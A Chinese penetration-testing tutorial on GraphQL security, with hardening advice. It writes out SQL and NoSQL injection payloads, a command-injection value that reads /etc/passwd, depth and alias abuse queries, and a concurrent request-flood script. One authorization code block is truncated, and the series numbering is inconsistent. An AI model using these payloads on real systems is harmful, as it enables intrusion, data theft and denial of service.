Day-196-渗透测试中的 GraphQL 安全测试

# Day 252: 渗透测试中的 GraphQL 安全测试

> 渗透测试系列第 52 篇 | 预计阅读时间：45 分钟 | 难度：★★★★★

---

## 清单 目录
1. [GraphQL 概述](#graphql-概述)
2. [GraphQL 架构与原理](#graphql-架构与原理)
3. [GraphQL 信息收集](#graphql-信息收集)
4. [注入攻击测试](#注入攻击测试)
5. [授权绕过测试](#授权绕过测试)
6. [DoS 攻击测试](#dos-攻击测试)
7. [批量查询攻击](#批量查询攻击)
8. [内省查询风险](#内省查询风险)
9. [文件上传安全](#文件上传安全)
10. [GraphQL 安全测试工具](#graphql-安全测试工具)
11. [GraphQL 安全加固](#graphql-安全加固)
12. [实战案例](#实战案例)
13. [总结与思考](#总结与思考)
14. [参考资料](#参考资料)

---

## GraphQL 概述

### 什么是 GraphQL

GraphQL 是由 Facebook 开发的查询语言和运行时，用于 API 的查询和数据操作。与 REST 不同，GraphQL 允许客户端精确指定所需的数据。

```
┌─────────────────────────────────────────────────────────────┐
│                    GraphQL vs REST                          │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  REST:                                                      │
│  ├── 多个端点                                               │
│  ├── 固定响应结构                                           │
│  ├── 过度获取/获取不足                                      │
│  └── 版本管理复杂                                           │
│                                                             │
│  GraphQL:                                                   │
│  ├── 单一端点                                               │
│  ├── 客户端定义响应                                         │
│  ├── 精确获取数据                                           │
│  └── 无版本管理                                             │
│                                                             │
│  GraphQL 特点：                                             │
│  ├── Query (查询)                                           │
│  ├── Mutation (变更)                                        │
│  ├── Subscription (订阅)                                    │
│  ├── Schema (模式)                                          │
│  └── Resolver (解析器)                                      │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

### GraphQL 安全挑战

```
GraphQL 安全挑战:
├── 查询复杂度
│   └── 深度查询导致 DoS
├── 授权复杂
│   └── 字段级授权困难
├── 内省暴露
│   └── Schema 信息泄露
├── 批量查询
│   └── 资源耗尽
└── 注入风险
    └── SQL/NoSQL/命令注入
```

### 为什么需要 GraphQL 安全测试

```
GraphQL 安全测试重要性:
├── 普及率增长
│   └── 80%+ 企业使用 GraphQL
├── 独特攻击面
│   └── REST 无法覆盖
├── 默认配置风险
│   └── 内省启用
└── 复杂授权
    └── 字段级控制
```

---

## GraphQL 架构与原理

### GraphQL 架构

```
GraphQL 架构:
├── Schema
│   ├── Type Definitions
│   ├── Query Type
│   ├── Mutation Type
│   └── Subscription Type
├── Resolver
│   ├── 字段解析
│   ├── 数据获取
│   └── 业务逻辑
├── Query
│   ├── 读取操作
│   └── 参数化查询
├── Mutation
│   ├── 写入操作
│   └── 数据变更
└── Subscription
    └── 实时订阅
```

### GraphQL 查询示例

```graphql
# 基本查询
query {
  user(id: 1) {
    id
    name
    email
  }
}

# 带参数查询
query {
  user(id: 1) {
    id
    name
    posts(limit: 10) {
      title
      content
    }
  }
}

# 变更操作
mutation {
  createUser(input: {
    name: "John"
    email: "john@example.com"
  }) {
    id
    name
  }
}

# 订阅操作
subscription {
  postAdded {
    id
    title
  }
}
```

### GraphQL 执行流程

```
GraphQL 执行流程:
┌─────────────────────────────────────────────────────────────┐
│                                                             │
│  1. 客户端发送查询                                          │
│       ↓                                                      │
│  2. 解析查询 (Parser)                                       │
│       ↓                                                      │
│  3. 验证查询 (Validator)                                    │
│       ↓                                                      │
│  4. 执行解析器 (Resolver)                                   │
│       ↓                                                      │
│  5. 聚合结果                                                │
│       ↓                                                      │
│  6. 返回响应                                                │
│                                                             │
└─────────────────────────────────────────────────────────────┘
```

---

## GraphQL 信息收集

### 端点发现

```
GraphQL 端点发现:
├── 常见路径
│   ├── /graphql
│   ├── /graphiql
│   ├── /api/graphql
│   └── /api/v1/graphql
├── 工具扫描
│   └── 目录扫描工具
└── 错误信息
    └── 错误响应泄露
```

```bash
# 使用 curl 测试端点
curl -X POST https://target.com/graphql \
    -H "Content-Type: application/json" \
    -d '{"query": "{ __typename }"}'

# 常见端点测试
endpoints=(
    "/graphql"
    "/graphiql"
    "/api/graphql"
    "/api/v1/graphql"
    "/v1/graphql"
    "/graphql.php"
)

for endpoint in "${endpoints[@]}"; do
    response=$(curl -s -o /dev/null -w "%{http_code}" \
        -X POST "https://target.com$endpoint" \
        -H "Content-Type: application/json" \
        -d '{"query": "{ __typename }"}')
    echo "$endpoint: $response"
done
```

### 内省查询

```
内省查询 (Introspection Query):
├── 作用
│   └── 获取完整 Schema 信息
├── 风险
│   ├── 信息泄露
│   ├── 攻击面暴露
│   └── 辅助攻击
└── 防御
    └── 生产环境禁用
```

```graphql
# 完整内省查询
query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args {
        ...InputValue
      }
    }
  }
}

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
  }
  inputFields {
    ...InputValue
  }
  interfaces {
    ...TypeRef
  }
  enumValues {
    name
    description
  }
  possibleTypes {
    ...TypeRef
  }
}

fragment InputValue on __InputValue {
  name
  description
  type {
    ...TypeRef
  }
  defaultValue
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
      }
    }
  }
}
```

```bash
# 使用 curl 执行内省查询
curl -X POST https://target.com/graphql \
    -H "Content-Type: application/json" \
    -d '{"query": "query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { name kind fields { name } } } }"}'

# 使用 inql 进行内省查询
inql introspect -u https://target.com/graphql

# 使用 GraphQL Voyager 可视化
# 访问 https://graphql-voyager.now.sh/
# 输入端点 URL
```

### Schema 分析

```
Schema 分析要点:
├── Query 类型
│   └── 可用查询操作
├── Mutation 类型
│   └── 可用变更操作
├── 自定义类型
│   └── 数据结构
├── 输入类型
│   └── 参数结构
└── 枚举类型
    └── 允许值
```

```graphql
# 分析 Schema 示例

# 1. 获取所有 Query
query {
  __schema {
    queryType {
      fields {
        name
        description
      }
    }
  }
}

# 2. 获取所有 Mutation
query {
  __schema {
    mutationType {
      fields {
        name
        description
      }
    }
  }
}

# 3. 获取特定类型详情
query {
  __type(name: "User") {
    name
    kind
    fields {
      name
      type {
        name
        kind
      }
    }
  }
}
```

---

## 注入攻击测试

### SQL 注入

```
GraphQL SQL 注入:
├── 注入点
│   ├── 查询参数
│   ├── 过滤条件
│   └── 排序参数
├── 注入方式
│   ├── 直接拼接
│   └── 解析器漏洞
└── 检测方法
    └── 标准 SQL 注入测试
```

```graphql
# SQL 注入测试

# 1. 基础注入测试
query {
  user(id: "1' OR '1'='1") {
    id
    name
  }
}

# 2. Union 注入
query {
  user(id: "1 UNION SELECT * FROM users--") {
    id
    name
  }
}

# 3. 盲注测试
query {
  user(id: "1' AND (SELECT COUNT(*) FROM users) > 0--") {
    id
  }
}

# 4. 时间盲注
query {
  user(id: "1'; WAITFOR DELAY '0:0:5'--") {
    id
  }
}
```

### NoSQL 注入

```graphql
# MongoDB NoSQL 注入

# 1. 对象注入
query {
  user(filter: {
    id: { $ne: null }
  }) {
    id
    name
  }
}

# 2. 逻辑运算符注入
query {
  user(filter: {
    $or: [
      { id: { $exists: true } },
      { name: { $exists: true } }
    ]
  }) {
    id
    name
  }
}

# 3. 正则表达式注入
query {
  user(filter: {
    name: { $regex: "^admin" }
  }) {
    id
    name
  }
}
```

### 命令注入

```graphql
# 命令注入测试

# 1. 直接命令注入
mutation {
  executeCommand(cmd: "ls -la; cat /etc/passwd") {
    output
  }
}

# 2. 管道命令注入
mutation {
  executeCommand(cmd: "echo test | cat") {
    output
  }
}

# 3. 反引号注入
mutation {
  executeCommand(cmd: "`whoami`") {
    output
  }
}
```

---

## 授权绕过测试

### 字段级授权

```
字段级授权测试:
├── 问题
│   └── 某些字段未授权检查
├── 测试方法
│   ├── 访问敏感字段
│   └── 越权访问
└── 常见漏洞
    └── 管理员字段可访问
```

```graphql
# 字段级授权测试

# 1. 访问敏感字段
query {
  user(id: 1) {
    id
    name
    password  # 敏感字段
    apiKey    # 敏感字段
  }
}

# 2. 越权访问其他用户
query {
  user(id: 2) {  # 尝试访问其他用户
    id
    name
    email
  }
}

# 3. 访问管理员字段
query {
  user(id: 1) {
    id
    name
    isAdmin      # 管理员字段
    permissions  # 权限字段
  }
}
```

### 批量查询授权

```
批量查询授权测试:
├── 问题
│   └── 批量查询绕过限制
├── 测试方法
│   └── 批量查询不同资源
└── 常见漏洞
    └── 批量查询未检查权限
```

```graphql
# 批量查询授权测试

# 1. 批量查询用户
query {
  users(ids: [1, 2, 3, 4, 5]) {
    id
    name
    email
  }
}

# 2. 批量查询敏感数据
query {
  users(ids: [1, 2, 3]) {
    id
    password
    apiKey
  }
}

# 3. 嵌套批量查询
query {
  users(ids: [1, 2, 3]) {
    id
    posts {
      id
      comments {
        id
        author {
          id
          email
        }
      }
    }
  }
}
```

---

## DoS 攻击测试

### 深度查询攻击

```
深度查询攻击:
├── 原理
│   └── 嵌套查询消耗资源
├── 影响
│   ├── 服务器过载
│   ├── 数据库压力
│   └── 响应缓慢
└── 防御
    └── 查询深度限制
```

```graphql
# 深度查询攻击示例

# 1. 基础深度查询
query {
  user(id: 1) {
    friends {
      friends {
        friends {
          friends {
            friends {
              name
            }
          }
        }
      }
    }
  }
}

# 2. 循环引用查询
query {
  user(id: 1) {
    friends {
      ...UserFields
    }
  }
}

fragment UserFields on User {
  id
  name
  friends {
    ...UserFields
  }
}

# 3. 多分支深度查询
query {
  user1: user(id: 1) {
    friends {
      name
    }
  }
  user2: user(id: 2) {
    friends {
      name
    }
  }
  # ... 更多分支
}
```

### 复杂字段攻击

```
复杂字段攻击:
├── 原理
│   └── 计算密集型字段
├── 影响
│   └── CPU/内存耗尽
└── 测试
    └── 请求复杂字段
```

```graphql
# 复杂字段攻击

# 1. 请求计算密集型字段
query {
  user(id: 1) {
    id
    name
    statistics {  # 可能计算复杂
      totalPosts
      totalComments
      totalLikes
      avgScore
    }
  }
}

# 2. 批量请求复杂字段
query {
  users(ids: [1, 2, 3, 4, 5, ... 100]) {
    id
    statistics {
      totalPosts
      totalComments
    }
  }
}

# 3. 请求大列表
query {
  user(id: 1) {
    posts(first: 10000) {
      id
      title
      content
    }
  }
}
```

---

## 批量查询攻击

### 别名攻击

```
别名攻击 (Alias Attack):
├── 原理
│   └── 同一查询多次执行
├── 影响
│   └── 资源耗尽
└── 测试
    └── 使用多个别名
```

```graphql
# 别名攻击示例

# 1. 基础别名攻击
query {
  user1: user(id: 1) {
    id
    name
  }
  user2: user(id: 1) {
    id
    name
  }
  user3: user(id: 1) {
    id
    name
  }
  # ... 重复 1000 次
}

# 2. 突变别名攻击
mutation {
  transfer1: transfer(from: 1, to: 2, amount: 100) {
    success
  }
  transfer2: transfer(from: 1, to: 2, amount: 100) {
    success
  }
  # ... 重复多次
}

# 3. 混合别名攻击
query {
  user1: user(id: 1) { posts { id } }
  user2: user(id: 1) { posts { id } }
  # ... 大量重复
}
```

### 并发查询攻击

```
并发查询攻击:
├── 原理
│   └── 并发发送大量查询
├── 影响
│   └── 服务器过载
└── 测试
    └── 并发请求测试
```

```bash
# 并发查询测试脚本
#!/bin/bash

URL="https://target.com/graphql"
QUERY='{"query": "{ user(id: 1) { id name } }"}'

# 使用 curl 并发
for i in {1..100}; do
    curl -X POST "$URL" \
        -H "Content-Type: application/json" \
        -d "$QUERY" &
done

wait

# 使用 ab (Apache Bench)
ab -n 1000 -c 100 -T "application/json" \
    -p query.json "$URL"

# 使用 wrk
wrk -t12 -c400 -d30s -X POST \
    -H "Content-Type: application/json" \
    -d "$QUERY" "$URL"
```

---

## 内省查询风险

### 内省查询风险

```
内省查询风险:
├── 信息泄露
│   ├── 完整 Schema
│   ├── 字段信息
│   └── 类型信息
├── 攻击辅助
│   ├── 发现敏感字段
│   ├── 发现隐藏操作
│   └── 了解数据结构
└── 防御
    └── 生产环境禁用
```

### 内省查询检测

```bash
# 检测内省查询是否启用
curl -X POST https://target.com/graphql \
    -H "Content-Type: application/json" \
    -d '{"query": "{ __schema { queryType { name } } }"}'

# 如果返回 Schema 信息，说明内省启用
# 如果返回错误，说明内省禁用
```

### 内省查询防御

```javascript
// Node.js GraphQL 内省禁用示例
const validationRules = require('graphql').specifiedRules;

// 生产环境禁用内省
if (process.env.NODE_ENV === 'production') {
  validationRules.push(NoSchemaIntrospection);
}

// 自定义内省控制
const context = {
  disableIntrospection: process.env.NODE_ENV === 'production'
};
```

---

## 文件上传安全

### 文件上传漏洞

```
文件上传风险:
├── 未授权上传
│   └── 无权限检查
├── 类型验证不足
│   └── 仅检查扩展名
├── 大小限制缺失
│   └── 大文件上传
└── 存储位置暴露
    └── 直接访问
```

### 文件上传测试

```graphql
# 文件上传测试

# 1. 基础文件上传
mutation {
  uploadFile(file: "base64_encoded_file") {
    url
    filename
  }
}

# 2. 恶意文件上传
mutation {
  uploadFile(
    file: "data:image/png;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="
    filename: "shell.png"
  ) {
    url
  }
}

# 3. 大文件上传
mutation {
  uploadFile(
    file: "large_base64_data..."
    filename: "largefile.zip"
  ) {
    url
  }
}
```

### 文件上传防御

```
文件上传防御:
├── 类型验证
│   ├── MIME 类型检查
│   ├── 文件头检查
│   └── 内容检查
├── 大小限制
│   └── 设置最大大小
├── 存储安全
│   ├── 隔离存储
│   ├── 随机文件名
│   └── 访问控制
└── 扫描检测
    └── 恶意软件扫描
```

---

## GraphQL 安全测试工具

### 测试工具

| 工具 | 用途 | 链接 |
|------|------|------|
| **inql** | GraphQL 扫描 | https://github.com/doyensec/inql |
| **GraphQL Voyager** | Schema 可视化 | https://graphql-voyager.now.sh/ |
| **GraphiQL** | 官方 IDE | https://github.com/graphql/graphiql |
| **Altair** | GraphQL 客户端 | https://altair.sirmuel.design/ |
| **GraphQL Playground** | GraphQL IDE | https://github.com/prisma-labs/graphql-playground |
| **BatchQL** | 批量查询测试 | https://github.com/assetnote/batchql |

### inql 使用

```bash
# 安装 inql
pip install inql

# 内省查询
inql introspect -u https://target.com/graphql

# 扫描漏洞
inql scan -u https://target.com/graphql

# 生成报告
inql report -u https://target.com/graphql -o report.html

# 批量测试
inql batch -f queries.txt -u https://target.com/graphql
```

### GraphQL Voyager 使用

```
GraphQL Voyager 使用:
├── 访问 https://graphql-voyager.now.sh/
├── 输入 GraphQL 端点 URL
├── 或粘贴 Schema SDL
├── 可视化查看 Schema
└── 分析数据结构
```

---

## GraphQL 安全加固

### 查询限制

```
查询限制措施:
├── 深度限制
│   └── 限制查询深度
├── 复杂度限制
│   └── 限制查询复杂度
├── 超时限制
│   └── 设置执行超时
└── 速率限制
    └── 限制请求频率
```

```javascript
// GraphQL 查询深度限制
const depthLimit = require('graphql-depth-limit');

const schema = makeExecutableSchema({
  typeDefs,
  resolvers,
  validationRules: [depthLimit(10)]  // 限制深度为 10
});

// GraphQL 查询复杂度限制
const { createComplexityRule } = require('graphql-query-complexity');

const schema = makeExecutableSchema({
  typeDefs,
  resolvers,
  validationRules: [
    createComplexityRule({
      maximumComplexity: 1000,
      variables: {},
      onComplete: (complexity) => {
        console.log('Query complexity:', complexity);
      }
    })
  ]
});
```

### 授权实施

```
授权实施:
├── 字段级授权
│   └── 每个字段检查权限
├── 解析器授权
│   └── 解析器内检查
└── 上下文授权
    └── 基于上下文检查
```

```javascript
// 字段级授权示例
const { authenticate } = require('./auth');

### 监控与日志

```
监控与日志:
├── 查询日志
│   └── 记录所有查询
├── 错误日志
│   └── 记录错误信息
├── 性能监控
│   └── 监控查询性能
└── 异常检测
    └── 检测异常查询
```

```javascript
// GraphQL 查询日志
const logger = {
  requestDidStart(requestContext) {
    const startTime = Date.now();
    
    return {
      willSendResponse() {
        const duration = Date.now() - startTime;
        console.log(`Query executed in ${duration}ms`);
        console.log(`Query: ${requestContext.request.query}`);
      }
    };
  }
};

// 异常查询检测
const maxDepth = 10;
const maxComplexity = 1000;

if (queryDepth > maxDepth || queryComplexity > maxComplexity) {
  logger.warn('Suspicious query detected', {
    depth: queryDepth,
    complexity: queryComplexity,
    query: request.query
  });
}
```

---

## 实战案例

### 案例一：电商平台 GraphQL 安全测试

#### 场景描述

```
客户：某电商平台
技术：GraphQL + Node.js
功能：商品/订单/支付
时间：1 周
```

#### 测试过程

```
Day 1-2: 信息收集
┌─────────────────────────────────────────────────────────┐
│ - 端点发现                                              │
│   - 发现 /api/graphql 端点                               │
│   - 确认 GraphiQL 启用                                    │
│                                                         │
│ - Schema 分析                                           │
│   - 执行内省查询                                         │
│   - 获取完整 Schema                                      │
│   - 识别敏感操作                                         │
│                                                         │
│ - 工具扫描                                              │
│   - 使用 inql 扫描                                        │
│   - 识别潜在漏洞                                         │
└─────────────────────────────────────────────────────────┘

Day 3-4: 漏洞测试
┌─────────────────────────────────────────────────────────┐
│ - 授权测试                                              │
│   - 发现用户字段未授权检查                               │
│   - 可访问其他用户邮箱                                   │
│   - 可访问订单详情                                       │
│                                                         │
│ - DoS 测试                                              │
│   - 深度查询导致响应缓慢                                 │
│   - 批量查询导致服务器过载                               │
│                                                         │
│ - 注入测试                                              │
│   - 发现 SQL 注入漏洞                                     │
│   - 位于搜索功能                                         │
└─────────────────────────────────────────────────────────┘

Day 5: 报告与修复
┌─────────────────────────────────────────────────────────┐
│ - 编写测试报告                                          │
│ - 提交开发团队                                          │
│ - 协助修复                                              │
│ - 复测验证                                              │
└─────────────────────────────────────────────────────────┘
```

#### 发现的问题

```
严重 (2 个):
├── 1. SQL 注入 (搜索功能)
│   └── 可获取数据库信息
└── 2. 未授权访问 (用户数据)
    └── 可访问其他用户数据

高 (3 个):
├── 3. 内省查询启用
├── 4. 无查询深度限制
└── 5. 无查询复杂度限制

中 (5 个):
├── 6-8. 字段级授权缺失
├── 9. 无速率限制
└── 10. 错误信息泄露

低 (8 个):
└── 配置问题/信息泄露
```

### 案例二：社交应用 GraphQL 测试

#### 场景描述

```
客户：某社交应用
技术：GraphQL + Python
功能：用户/帖子/消息
时间：2 周
```

#### 测试结果

```
发现:
├── 严重：1 个
│   └── 批量查询越权
├── 高：3 个
│   ├── 深度查询 DoS
│   ├── 内省查询启用
│   └── 文件上传漏洞
├── 中：8 个
│   ├── 字段授权缺失
│   └── 无速率限制
└── 低：15 个

建议:
├── 实施查询限制
├── 禁用内省查询
├── 实施字段级授权
├── 添加速率限制
└── 修复文件上传
```

---

## 总结与思考

### 核心要点回顾

1. **GraphQL 有独特攻击面**
   - 深度查询 DoS
   - 批量查询攻击
   - 内省信息泄露

2. **授权测试关键**
   - 字段级授权
   - 批量查询授权
   - 解析器授权

3. **查询限制必要**
   - 深度限制
   - 复杂度限制
   - 速率限制

4. **内省查询风险**
   - 生产环境禁用
   - 信息泄露风险
   - 辅助攻击

5. **工具辅助测试**
   - inql 扫描
   - GraphQL Voyager
   - 手动测试结合

### 实战建议

1. **对测试人员**:
   - 学习 GraphQL 原理
   - 使用专业工具
   - 测试深度查询
   - 测试批量查询

2. **对开发人员**:
   - 实施查询限制
   - 禁用内省查询
   - 实施字段授权
   - 添加速率限制

3. **对组织**:
   - GraphQL 安全培训
   - 定期安全测试
   - 实施安全加固
   - 监控异常查询

---

## 参考资料

### 学习资源

- **GraphQL Security**
  - https://graphql.org/learn/security/

- **OWASP GraphQL Security**
  - https://owasp.org/www-project-graphql-security/

- **GraphQL Security Cheat Sheet**
  - https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html

### 工具资源

| 工具 | 用途 | 链接 |
|------|------|------|
| **inql** | GraphQL 扫描 | https://github.com/doyensec/inql |
| **GraphQL Voyager** | Schema 可视化 | https://graphql-voyager.now.sh/ |
| **BatchQL** | 批量查询测试 | https://github.com/assetnote/batchql |
| **GraphiQL** | 官方 IDE | https://github.com/graphql/graphiql |

### 书籍推荐

1. **《GraphQL Security》**
   - 作者：Ehsan Naderi
   - GraphQL 安全权威指南

2. **《The GraphQL Guide》**
   - GraphQL 完整指南

3. **《Real-World GraphQL》**
   - 实战 GraphQL 开发

---

*365 天信息安全技术系列 | Day 252 | 渗透测试补充系列 | GraphQL 安全测试*
*创建时间：2026-04-12 | 作者：安全专家 · 严谨专业版*